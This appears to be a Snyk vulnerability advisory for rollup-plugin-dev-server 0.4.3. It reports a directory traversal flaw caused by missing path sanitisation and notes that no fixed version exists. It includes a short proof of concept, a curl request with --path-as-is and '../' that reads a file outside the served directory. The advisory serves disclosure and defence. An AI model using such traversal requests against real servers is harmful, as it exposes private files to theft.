rollup-plugin-dev-server@0.4.3 vulnerabilities

Serve your rolled up bundle

Direct Vulnerabilities

Known vulnerabilities in the rollup-plugin-dev-server package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Directory Traversal

rollup-plugin-dev-server is a server for serving rolled up bundles like webpack-dev-server.

Affected versions of this package are vulnerable to Directory Traversal. There is no path sanitization in readFile operation inside the readFileFromContentBase function.

PoC by JHU System Security Lab

  1. Create and run a server:
  var server = require("rollup-plugin-dev-server");
     server({
     host: 'localhost',
     port: 10001
     })
  1. Create a file sensitive-file in the server's parent directory
  2. curl -s --path-as-is http://127.0.0.1:10001/../sensitive-file

How to fix Directory Traversal?

There is no fixed version for rollup-plugin-dev-server.

*